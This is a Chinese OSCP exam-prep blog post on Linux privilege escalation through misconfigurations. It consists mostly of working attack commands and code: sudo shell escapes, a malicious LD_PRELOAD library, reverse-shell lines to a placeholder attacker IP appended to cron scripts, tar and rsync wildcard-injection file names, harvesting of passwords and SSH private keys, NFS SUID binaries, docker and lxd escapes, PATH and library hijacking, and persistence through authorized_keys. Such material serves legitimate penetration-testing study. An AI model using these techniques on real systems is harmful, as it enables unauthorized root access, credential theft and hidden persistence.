OSCP百日备考17|Linux权限提升(下):sudo滥用、Cron劫持、通配符注入到root的终极手册

admin 2026-07-03 05:13:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是OSCP备考系列中Linux权限提升的下篇,聚焦于利用管理员配置疏忽的提权技巧。核心内容包括:通过sudo-l识别并利用特定二进制提权(如vim、find)及LDPRELOAD环境变量注入;监控并劫持Cron任务,包括使用pspy64发现隐藏任务和利用tar/rsync通配符注入;系统化搜索密码凭证,如bashhistory、Web配置文件及SSH私钥;以及利用NFSnorootsquash配置错误进行提权。文章强调这些方法无需漏洞,仅需巧用配置缺陷,并提供了可操作命令。 综合评分: 87 文章分类: 渗透测试,红队,内网渗透,安全工具,漏洞分析


cover_image

OSCP百日备考17|Linux权限提升(下):sudo滥用、Cron劫持、通配符注入到root的终极手册

原创

醉墨离 醉墨离

泷羽Sec-陌离

2026年7月2日 20:34 宁夏

在小说阅读器读本章

去阅读

上期我们把Linux提权的地基打好了——信息收集方法论、五大内核漏洞、SUID/SGID利用、Linux Capabilities。很多同学后台说照着跑了一遍,第一次用GTFOBins拿到了root,那个激动我隔着屏幕都能感觉到。

但紧跟着就有新问题了:”学长,sudo -l 输出了一堆东西,我只知道直接sudo su那种是送分题,遇到只能sudo某个特定命令的怎么办?””linPEAS提示了我有可写的cron脚本,但我不知道怎么劫持。””tar命令的通配符注入到底咋回事,看了几篇教程都没看懂。”

如果说上篇讲的是提权的”直拳”(正面硬刚内核漏洞和SUID),那这篇讲的就是提权的”柔术”——利用管理员配置上的微小疏忽,用巧劲把权限一步步撬开。 这些手法不需要exploit-db上的CVE编号,不需要编译exp,但恰恰因为隐蔽,经常被新手忽略。我在上百台靶机里验证过,下面每一个技术都是能直接落地的。

一、先划生死线,下期也一样重要

| 工具/方法 | 考试状态 | 说明 | | — | — | — | | 手工/自写脚本 | ✅ 完全允许 | 本篇所有内容的基础 | | GTFOBins查询 | ✅ 完全允许(网站查询) | sudo二进制的利用方法 | | pspy64 | ✅ 完全允许 | Cron监控神器 | | chisel / ligolo-ng | ✅ 完全允许 | 端口转发/内网隧道 | | NFS客户端挂载 | ✅ 完全允许 | NFS no_root_squash利用 | | Metasploit | ⚠️ 限一台靶机 | 注意配额 | | 商业扫描器 | ❌ 明确禁止 | 绝对不能碰 |

二、Sudo配置滥用——OSCP考试里性价比最高的提权方式

如果说提权有一个”起手式”,那一定是 sudo -l。上期讲了这是第一优先级命令,这期我们把它拆透——不只要知道能sudo什么,还要知道每一个能sudo的二进制背后藏着什么提权路径。

2.1 看懂sudo -l的输出

sudo -l

三种典型输出,三种处理方式:

场景一:送分题

User www-data may run the following commands on this host:
    (ALL : ALL) ALL
    (root) NOPASSWD: ALL

→ 直接 sudo su 或者 sudo -i,一步root。这种没啥好说的。

场景二:只能以root身份执行特定命令

User www-data may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/find

→ 这是OSCP考试里最常见的sudo提权场景。 任何能sudo的二进制,去GTFOBins查对应的sudo利用命令:

# vim 提权
sudo vim -c ':!/bin/sh'

# find 提权
sudo find . -exec /bin/sh \; -quit

# python 提权
sudo python -c 'import os; os.system("/bin/bash")'

# less/more 提权
sudo less /etc/passwd
# 进入less后输入:!/bin/bash

# awk 提权
sudo awk 'BEGIN {system("/bin/sh")}'

# nmap(需要旧版本有--interactive)
sudo nmap --interactive
# 进入交互模式后:!sh

场景三:sudo -l 需要密码→ 不是你忘了密码,是你还没拿到这个用户的密码。先去翻配置文件、bash_history(下面第四节会详细讲),密码可能就藏在某个地方。

2.2 LD_PRELOAD——Sudo配置的隐藏核弹

有时候 sudo -l 的输出最后有这样一行:

env_keep+=LD_PRELOAD

这行字意味着一件事:你可以注入一个恶意共享库,让sudo在提权执行任何命令之前先加载你的代码。 这是提权成功率几乎100%的手法。

# 第一步:创建一个恶意共享库
cat > /tmp/shell.c <<&nbsp;'EOF'
#include&nbsp;<stdio.h>
#include&nbsp;<sys/types.h>
#include&nbsp;<stdlib.h>

void&nbsp;_init() {
&nbsp; &nbsp; unsetenv("LD_PRELOAD");
&nbsp; &nbsp; setgid(0);
&nbsp; &nbsp; setuid(0);
&nbsp; &nbsp; system("/bin/bash");
}
EOF

# 第二步:编译
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# 第三步:用sudo跑任意一个你被允许的命令,挂上恶意库
sudo LD_PRELOAD=/tmp/shell.so apache2
# 或者换成任何sudo -l里列出的命令
# 执行后直接拿到root shell

原理:LD_PRELOAD是Linux的动态链接器环境变量,指定了在程序启动前强制加载的共享库。_init()函数会在main函数之前执行,里面的setuid(0)把进程UID改成root,system("/bin/bash")启动root shell。整个过程不需要漏洞,只是利用了管理员忘记屏蔽LD_PRELOAD这个环境变量。

这条手法在考试和实战中都极其有效。实战中很多运维为了方便调试,会保留LD_PRELOAD的传递权限——他们不知道这个环境变量的威力有多大。

三、Cron任务劫持——等一个定时执行的root命令

Cron是Linux的定时任务调度器。root用户的定时任务天然以root权限运行——如果这些任务执行的脚本/二进制出现权限问题,你就可以劫持它。

3.1 传统方法:直接看crontab文件

cat /etc/crontab &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 系统级定时任务
ls -la /etc/cron* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 所有cron相关目录
crontab -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 当前用户的定时任务
ls -la /var/spool/cron/crontabs/ &nbsp;# 各用户的crontab文件

检查每一个定时任务调用的脚本:

# 假设你发现了一个root的cron任务:
# */5 * * * * root /opt/scripts/backup.sh

ls -la /opt/scripts/backup.sh
# 如果权限是 -rwxrwxrwx(所有人可写)→ 提权成功

# 修改脚本,加一行反弹shell
echo&nbsp;'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'&nbsp;>> /opt/scripts/backup.sh
# 等5分钟,cron执行,你收到root shell

3.2 进阶方法:pspy64监控看不到的cron任务

有些cron任务你可能没法通过文件系统直接看到(权限不够),但pspy64可以通过监控进程列表来”偷看”。上一篇讲了基本用法,这篇展开实战场景:

# 在靶机/tmp部署pspy64
./pspy64

# 输出里关注以下模式:
# CMD: UID=0 &nbsp; &nbsp;PID=18473 &nbsp; | /bin/sh /root/secret_script.sh
# → UID=0表示这是root在跑
# → 去检查/root/secret_script.sh是否存在且可被你的用户访问

# CMD: UID=0 &nbsp; &nbsp;PID=18474 &nbsp; | tar -czf /backup/daily.tar.gz /var/www/
# → 注意这里写的是 tar 而不是 /usr/bin/tar(相对路径)!
# → 这说明可以劫持PATH变量,让root执行你伪造的tar

3.3 通配符注入——tar/rsync用了*就等于给了你提权通道

这是Cron提权里最容易漏掉的手法。很多运维写的备份脚本长这样:

# root的cron任务脚本 backup.sh
#!/bin/bash
cd&nbsp;/var/www/uploads
tar -czf /backup/web_backup.tar.gz *

这行 tar ... * 看起来人畜无害,实际上 * 会被shell展开成当前目录下所有文件的文件名。如果目录里有一个文件叫 --checkpoint=1,tar会把它当作命令行参数而不是文件名来解析!

# 第一步:进入被压缩的目录
cd&nbsp;/var/www/uploads &nbsp;&nbsp;# 确认你的用户可以在这个目录里创建文件

# 第二步:创建恶意脚本
echo&nbsp;'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'&nbsp;> /tmp/rootshell.sh
chmod +x /tmp/rootshell.sh

# 第三步:创建触发文件(两个特殊文件名)
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ /tmp/rootshell.sh

# 第四步:等cron任务执行
# 当tar处理到目录里的文件时:
# tar看到 --checkpoint=1(每处理一个文件就触发checkpoint)
# tar看到 --checkpoint-action=exec=sh /tmp/rootshell.sh(checkpoint时执行脚本)
# → /tmp/rootshell.sh以root身份运行 → 反弹root shell!

rsync也有类似的通配符利用:

# 如果cron里是 rsync -a *.txt user@backup:/backup/
# 创建文件 "-e sh /tmp/rootshell.sh" 可以注入rsync的-e参数
touch --&nbsp;'-e sh /tmp/rootshell.sh'

⚠️ 考试中注意:通配符注入的前提是这个目录你的用户能写——所以先确认 find / -writable -type d 2>/dev/null 的输出里包含该目录。

四、密码和凭证狩猎——管理员留下的隐藏宝藏

管理员也是人,人就会偷懒。密码被写在配置文件、历史命令、备份文件里的概率比你想象的高得多。

4.1 bash_history——最大概率找到密码的地方

# 看自己的历史
cat ~/.bash_history

# 看所有用户的历史(如果权限允许)
cat /home/*/.bash_history
cat /root/.bash_history

重点搜索模式:

# 找密码明文
grep -i&nbsp;"password"&nbsp;~/.bash_history
grep -i&nbsp;"passwd"&nbsp;~/.bash_history
grep -i&nbsp;"mysql"&nbsp;~/.bash_history | grep -i&nbsp;"p"

# 找SSH连接记录(可能含用户名和密钥路径)
grep -i&nbsp;"ssh"&nbsp;~/.bash_history

用户经常在命令行里直接输密码——比如 mysql -u root -pMyPassword123。这条命令会被完整记录在bash_history里,密码直接暴露。

4.2 配置文件——Web应用的数据库密码全在这里

# WordPress
cat /var/www/html/wp-config.php | grep DB_PASSWORD

# Joomla
cat /var/www/html/configuration.php | grep password

# Laravel
cat /var/www/html/.env | grep DB_PASSWORD

# 所有web目录下搜password关键词
grep -rn&nbsp;"password"&nbsp;/var/www/ 2>/dev/null
grep -rn&nbsp;"DB_PASS"&nbsp;/var/www/ 2>/dev/null
grep -rn&nbsp;"passwd"&nbsp;/etc/ 2>/dev/null

拿到数据库密码之后干什么? 试三件事:

  1. su root 输入这个密码(管理员可能把root密码和数据库密码设成一样)
  2. su 其他用户名 输入这个密码(密码复用是人的天性)
  3. SSH登录试这个密码(可能管理员的SSH密码也是同一个)

4.3 SSH私钥——无密码登录的快车道

# 找所有私钥文件
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name id_ecdsa 2>/dev/null
find / -name id_ed25519 2>/dev/null

# 找authorized_keys(看哪些公钥被信任了)
find / -name authorized_keys 2>/dev/null

# 看私钥权限——如果644(所有人可读),你就能复制走
ls -la /home/*/.ssh/id_rsa

利用方式:

# 把私钥内容复制到攻击机的文件中
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@靶机IP
# 如果该私钥属于root且无密码保护——直接root登录

4.4 备份和历史文件

管理员做配置修改前经常备份,备份文件容易忘记删:

# 找备份文件
find / -name&nbsp;"*.bak"&nbsp;2>/dev/null
find / -name&nbsp;"*.backup"&nbsp;2>/dev/null
find / -name&nbsp;"*.old"&nbsp;2>/dev/null
find / -name&nbsp;"*backup*"&nbsp;-type&nbsp;f 2>/dev/null

# 看日志文件有没有泄露凭证
find /var/log&nbsp;-type&nbsp;f -readable 2>/dev/null | xargs grep -l -i&nbsp;"password\|credential\|token\|secret"

五、NFS配置错误——企业内网里的提权暗门

NFS(Network File System)是Linux之间共享文件系统的协议。如果NFS服务器配置了no_root_squash,客户端机器上的root用户在挂载的共享目录里也保留root权限——这就是提权的入口。

5.1 发现NFS提权机会

# 在靶机上查NFS共享配置
cat /etc/exports

# 关键看这一行:
# /shared *(rw,no_root_squash)
# → /shared目录 NFS共享,允许任何IP挂载(rw),且客户端root权限保留(no_root_squash)
# 在攻击机上查目标开放了哪些NFS共享
showmount -e 靶机IP

5.2 利用no_root_squash

# 第一步:在攻击机(root权限)上挂载共享
mkdir /tmp/nfs_mount
mount -t nfs 靶机IP:/shared /tmp/nfs_mount

# 第二步:创建一个SUID程序放在共享目录里
cat > /tmp/nfs_mount/rootshell.c <<&nbsp;'EOF'
#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<unistd.h>

int&nbsp;main() {
&nbsp; &nbsp; setuid(0);
&nbsp; &nbsp; setgid(0);
&nbsp; &nbsp; system("/bin/bash -p");
&nbsp; &nbsp;&nbsp;return&nbsp;0;
}
EOF

# 第三步:编译并设置SUID位
gcc /tmp/nfs_mount/rootshell.c -o /tmp/nfs_mount/rootshell
chmod u+s /tmp/nfs_mount/rootshell

# 第四步:回到靶机上执行
/shared/rootshell
# whoami → root

为什么能成功? 因为在攻击机上你是root,通过NFS创建的文件的owner就是攻击机的root(UID=0)。no_root_squash没有把这个UID映射成nobody,所以在靶机看来,rootshell就是一个UID=0的用户创建的文件——靶机执行它的时候,以root身份运行。

六、Docker/LXD组权限滥用——容器即root

如果你的用户属于docker组或lxd组,你可以利用容器的特权模式挂载宿主机文件系统。

6.1 Docker组提权

# 检查自己是否在docker组
id
# 如果输出里有 (docker),恭喜你

# 一行命令把宿主机整个根目录挂载进容器
docker run -v /:/mnt -it alpine chroot /mnt sh
# 现在你就在宿主机的/目录下,并且是root
# whoami → root

6.2 LXD/LXC组提权

# 检查是否在lxd组
id | grep lxd

# 如果有,创建一个特权容器挂载宿主机:
lxc init ubuntu:16.04 privesc -c security.privileged=true
lxc config device add privesc mydevice disk&nbsp;source=/ path=/mnt/root recursive=true
lxc start privesc
lxc&nbsp;exec&nbsp;privesc /bin/bash

# 现在你在容器里,而/容器的/mnt/root就是宿主机的/
# cd /mnt/root && chroot . sh
# whoami → root

七、库劫持——当PATH和LD_LIBRARY_PATH被忽略的时候

7.1 PATH环境变量劫持

如果一个以root运行的脚本调用了没有写绝对路径的命令:

# 比如cron里root执行了:
# backup.sh 内容里有一行:cp /tmp/data.txt /backup/
# 注意,这里写的是 cp 不是 /usr/bin/cp

# 劫持方法:
echo&nbsp;'/bin/bash -p'&nbsp;> /tmp/cp
chmod +x /tmp/cp
export&nbsp;PATH=/tmp:$PATH

# 现在当root执行cp的时候,会先在/tmp找到你伪造的cp
# → 以root身份执行/bin/bash -p → root shell

7.2 LD_LIBRARY_PATH劫持

程序运行时需要加载动态链接库(.so文件)。如果你的LD_LIBRARY_PATH能被root程序继承,可以伪造系统库:

# 找一个root SUID程序依赖的库
ldd /usr/local/bin/vulnerable_suid_program

# 假设输出显示依赖 libcustom.so
# 创建恶意版的libcustom.so
cat > /tmp/libcustom.c <<&nbsp;'EOF'
#include&nbsp;<stdio.h>
#include&nbsp;<sys/types.h>
#include&nbsp;<unistd.h>

void&nbsp;custom_function() {
&nbsp; &nbsp; setuid(0);
&nbsp; &nbsp; system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /tmp/libcustom.so /tmp/libcustom.c

# 设置LD_LIBRARY_PATH后运行SUID程序
LD_LIBRARY_PATH=/tmp /usr/local/bin/vulnerable_suid_program
# → 程序加载你伪造的库 → root shell

八、内网服务利用——不是只有外网端口才有价值

netstat -tuln输出里那些只监听在127.0.0.1的端口,往往被新手忽视。但实际上,这些服务可能是以root身份运行的,而且因为没有对外暴露,安全配置往往更宽松。

8.1 常见的内网高危服务

| 服务 | 默认端口 | 提权思路 | | — | — | — | | MySQL/MariaDB | 127.0.0.1:3306 | root空密码/UDF提权 | | Redis | 127.0.0.1:6379 | 无认证→写SSH公钥/写cron | | Jenkins | 127.0.0.1:8080 | 无认证→Groovy脚本执行命令 | | Tomcat | 127.0.0.1:8080 | 弱口令→部署WAR包getshell |

8.2 端口转发——把内网服务带出来

靶机上的浏览器不方便操作?用端口转发把内网服务映射到你的攻击机上:

# 方法一:SSH本地端口转发(如果靶机有ssh)
ssh -L 8080:127.0.0.1:8080 靶机用户@靶机IP
# 现在攻击机浏览器打开 http://localhost:8080 就是靶机内网的Jenkins

# 方法二:chisel端口转发
# 攻击机(服务端)
./chisel server -p 8000 --reverse

# 靶机(客户端)
./chisel client 攻击机IP:8000 R:8080:127.0.0.1:8080

# 方法三:ligolo-ng(新一代首选)
# 比chisel更稳定,创建tun接口让横向移动就像本地网络

九、考试/实战区别(下篇专属)

| 技术 | OSCP考试 | 实战渗透 | 说明 | | — | — | — | — | | sudo配置滥用 | ⭐⭐⭐⭐⭐ 高频 | ⭐⭐⭐⭐⭐ 最常见 | 实战比考试更常见,运维经常忘记限制 | | LD_PRELOAD注入 | ⭐⭐⭐ 中等 | ⭐⭐⭐⭐ 常见 | 如果env_keep有这行,考试=送分 | | Cron劫持 | ⭐⭐⭐ 中等 | ⭐⭐⭐⭐ 常见 | 开发环境里cron脚本权限更容易出错 | | 通配符注入 | ⭐⭐⭐ 中等 | ⭐⭐⭐ 中等 | 经典手法,但在考试和实战中都依赖特定条件 | | 密码/密钥泄露 | ⭐⭐⭐⭐ 高频 | ⭐⭐⭐⭐ 常见 | 永远不会过时的提权方式 | | NFS no_root_squash | ⭐⭐ 低频 | ⭐⭐⭐ 中等 | 企业内网NAS常见 | | Docker组滥用 | ⭐⭐ 低频 | ⭐⭐⭐⭐ 常见 | 生产环境里docker组权限是高频配置错误 | | 内网服务利用 | ⭐⭐⭐ 中等 | ⭐⭐⭐⭐ 常见 | 实战中可以结合更多工具 |

十、避坑指南

❶ sudo -l输出里的LD_PRELOAD是送分题。 如果你看到了env_keep+=LD_PRELOAD而不知道怎么用——你错过了一个100%成功率且不需要任何漏洞的提权路径。用本文第三节的模板,5分钟root。

❷ 密码不是只在一个地方出现。 在配置文件里找到数据库密码之后,记得去试su、去试SSH、去试sudo。密码复用是管理员最常见的坏习惯——一次找到密码,可能打通三台机器。

❸ 通配符注入不是只有tar。 rsync、zip、7z等大量命令都接受--开头的命令行参数。考试和CTF里最经典的是tar,但实战里任何用到*且有特权执行的命令行工具都可能是突破口。

❹ 拿到root之后先做权限维持。 在考试里,不只要拿到root,还要保证万无一失能恢复访问。把公钥加到/root/.ssh/authorized_keys是一个几乎不会被发现、且稳定可靠的方式。

❺ 内网服务值得花时间探测。 netstat/ss的输出别一扫而过——127.0.0.1上跑了什么服务,比你想象的重要。尤其是MySQL和Redis,root无密码的情况在靶场和开发环境里都太常见了。

❻ 你不需要记住所有利用命令。 GTFOBins的存在就是为了让你不用背。你需要记住的是”这个二进制可能有利用价值,我去查一下”——而不是利用命令本身。

写在最后

上篇和下篇合在一起,从信息收集到内核漏洞,从SUID到Cron劫持,从密码狩猎到通配符注入——这就是我在OSCP考试和上百台靶机里验证过的Linux提权完整方法论。

记住那句话:提权不是玄学,是系统管理员一定在某个地方犯了一个错。你的任务就是找到它。

下一篇我们进入Windows权限提升——服务权限配置错误、令牌窃取、UAC绕过、计划任务劫持,全是AD域环境里最核心的提权手法。

如果觉得有收获,点个”在看”并星标我,别错过更新。

评论区可以留你在提权上碰到的最离谱的密码泄露场景——我见过最夸张的是/var/www/html/backup.zip里解压出一个passwords.txt,里面写了三台服务器的root密码,全是明文。

我们下期见!

OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:泷羽Sec-陌离 醉墨离 醉墨离《OSCP百日备考17|Linux权限提升(下):sudo滥用、Cron劫持、通配符注入到root的终极手册》

    评论:0   参与:  0